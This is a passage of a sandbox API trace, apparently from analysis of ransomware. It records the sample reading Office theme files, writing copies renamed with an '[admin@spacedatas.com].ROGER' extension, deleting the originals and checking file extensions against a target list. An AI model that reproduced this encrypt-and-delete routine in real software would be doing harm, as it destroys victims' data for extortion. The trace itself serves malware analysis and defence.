shared\\themes14\\edge\\preview.gif")) returned 0x20 [0048.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.185] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.185] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.188] GetLastError () returned 0x0 [0048.188] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x543, lpOverlapped=0x0) returned 1 [0048.189] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x550, lpOverlapped=0x0) returned 1 [0048.190] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.190] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.190] SetEndOfFile (hFile=0x358) returned 1 [0048.190] CloseHandle (hObject=0x358) returned 1 [0048.190] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.191] SetEndOfFile (hFile=0x390) returned 1 [0048.191] CloseHandle (hObject=0x390) returned 1 [0048.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.191] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1 [0048.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.192] lstrlenW (lpString=".doc") returned 4 [0048.192] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.192] lstrlenW (lpString=".docx") returned 5 [0048.192] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.192] lstrlenW (lpString=".pdf") returned 4 [0048.192] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.192] lstrlenW (lpString=".xls") returned 4 [0048.192] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.192] lstrlenW (lpString=".xlsx") returned 5 [0048.192] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.192] lstrlenW (lpString=".ppt") returned 4 [0048.192] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.192] lstrlenW (lpString=".zip") returned 4 [0048.192] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.192] lstrlenW (lpString=".rar") returned 4 [0048.192] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.192] lstrlenW (lpString=".bz2") returned 4 [0048.192] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.193] lstrlenW (lpString=".7z") returned 3 [0048.193] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.193] lstrlenW (lpString=".dbf") returned 4 [0048.193] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.193] lstrlenW (lpString=".1cd") returned 4 [0048.193] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.193] lstrlenW (lpString=".jpg") returned 4 [0048.193] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.193] lstrlenW (lpString=".doc") returned 4 [0048.193] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.193] lstrlenW (lpString=".docx") returned 5 [0048.193] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.193] lstrlenW (lpString=".pdf") returned 4 [0048.193] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.193] lstrlenW (lpString=".xls") returned 4 [0048.193] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.193] lstrlenW (lpString=".xlsx") returned 5 [0048.193] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.193] lstrlenW (lpString=".ppt") returned 4 [0048.193] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.193] lstrlenW (lpString=".zip") returned 4 [0048.193] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.193] lstrlenW (lpString=".rar") returned 4 [0048.193] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.193] lstrlenW (lpString=".bz2") returned 4 [0048.194] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.194] lstrlenW (lpString=".7z") returned 3 [0048.194] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.194] lstrlenW (lpString=".dbf") returned 4 [0048.194] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.194] lstrlenW (lpString=".1cd") returned 4 [0048.194] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.194] lstrlenW (lpString=".jpg") returned 4 [0048.194] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.194] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.194] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.194] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=26402) returned 1 [0048.194] CloseHandle (hObject=0x390) returned 1 [0048.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0048.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.195] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.195] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.195] GetLastError () returned 0x0 [0048.195] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x6722, lpOverlapped=0x0) returned 1 [0048.197] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x6730, lpOverlapped=0x0) returned 1 [0048.198] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.198] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.198] SetEndOfFile (hFile=0x358) returned 1 [0048.198] CloseHandle (hObject=0x358) returned 1 [0048.198] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.198] SetEndOfFile (hFile=0x390) returned 1 [0048.199] CloseHandle (hObject=0x390) returned 1 [0048.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.200] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 1 [0048.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.200] lstrlenW (lpString=".doc") returned 4 [0048.200] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.200] lstrlenW (lpString=".docx") returned 5 [0048.200] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.200] lstrlenW (lpString=".pdf") returned 4 [0048.200] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.200] lstrlenW (lpString=".xls") returned 4 [0048.200] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.200] lstrlenW (lpString=".xlsx") returned 5 [0048.200] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.200] lstrlenW (lpString=".ppt") returned 4 [0048.200] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.200] lstrlenW (lpString=".zip") returned 4 [0048.200] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.200] lstrlenW (lpString=".rar") returned 4 [0048.200] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.200] lstrlenW (lpString=".bz2") returned 4 [0048.200] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.200] lstrlenW (lpString=".7z") returned 3 [0048.200] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.200] lstrlenW (lpString=".dbf") returned 4 [0048.200] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.201] lstrlenW (lpString=".1cd") returned 4 [0048.201] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.201] lstrlenW (lpString=".jpg") returned 4 [0048.201] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.201] lstrlenW (lpString=".doc") returned 4 [0048.201] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.201] lstrlenW (lpString=".docx") returned 5 [0048.201] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.201] lstrlenW (lpString=".pdf") returned 4 [0048.201] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.201] lstrlenW (lpString=".xls") returned 4 [0048.201] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.201] lstrlenW (lpString=".xlsx") returned 5 [0048.201] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.201] lstrlenW (lpString=".ppt") returned 4 [0048.201] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.201] lstrlenW (lpString=".zip") returned 4 [0048.201] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.201] lstrlenW (lpString=".rar") returned 4 [0048.201] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.201] lstrlenW (lpString=".bz2") returned 4 [0048.201] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.201] lstrlenW (lpString=".7z") returned 3 [0048.201] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.201] lstrlenW (lpString=".dbf") returned 4 [0048.201] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.202] lstrlenW (lpString=".1cd") returned 4 [0048.202] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0048.202] lstrlenW (lpString=".jpg") returned 4 [0048.202] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.202] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.202] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.202] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1354) returned 1 [0048.202] CloseHandle (hObject=0x390) returned 1 [0048.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0048.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.203] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.203] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.205] GetLastError () returned 0x0 [0048.205] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x54a, lpOverlapped=0x0) returned 1 [0048.287] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x550, lpOverlapped=0x0) returned 1 [0048.307] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.307] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.307] SetEndOfFile (hFile=0x358) returned 1 [0048.307] CloseHandle (hObject=0x358) returned 1 [0048.307] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.307] SetEndOfFile (hFile=0x390) returned 1 [0048.308] CloseHandle (hObject=0x390) returned 1 [0048.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.308] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 1 [0048.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.309] lstrlenW (lpString=".doc") returned 4 [0048.309] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.309] lstrlenW (lpString=".docx") returned 5 [0048.309] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.309] lstrlenW (lpString=".pdf") returned 4 [0048.309] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.309] lstrlenW (lpString=".xls") returned 4 [0048.309] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.309] lstrlenW (lpString=".xlsx") returned 5 [0048.309] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.309] lstrlenW (lpString=".ppt") returned 4 [0048.309] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.309] lstrlenW (lpString=".zip") returned 4 [0048.309] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.309] lstrlenW (lpString=".rar") returned 4 [0048.309] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.309] lstrlenW (lpString=".bz2") returned 4 [0048.309] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.309] lstrlenW (lpString=".7z") returned 3 [0048.309] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.309] lstrlenW (lpString=".dbf") returned 4 [0048.309] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.309] lstrlenW (lpString=".1cd") returned 4 [0048.309] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.309] lstrlenW (lpString=".jpg") returned 4 [0048.309] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.310] lstrlenW (lpString=".doc") returned 4 [0048.310] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.310] lstrlenW (lpString=".docx") returned 5 [0048.310] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.310] lstrlenW (lpString=".pdf") returned 4 [0048.310] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.310] lstrlenW (lpString=".xls") returned 4 [0048.310] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.310] lstrlenW (lpString=".xlsx") returned 5 [0048.310] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.310] lstrlenW (lpString=".ppt") returned 4 [0048.310] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.310] lstrlenW (lpString=".zip") returned 4 [0048.310] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.310] lstrlenW (lpString=".rar") returned 4 [0048.310] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.310] lstrlenW (lpString=".bz2") returned 4 [0048.310] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.310] lstrlenW (lpString=".7z") returned 3 [0048.310] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.310] lstrlenW (lpString=".dbf") returned 4 [0048.310] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.310] lstrlenW (lpString=".1cd") returned 4 [0048.310] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.310] lstrlenW (lpString=".jpg") returned 4 [0048.310] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.311] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.311] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0048.500] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=18817) returned 1 [0048.500] CloseHandle (hObject=0x3b8) returned 1 [0048.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0048.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common 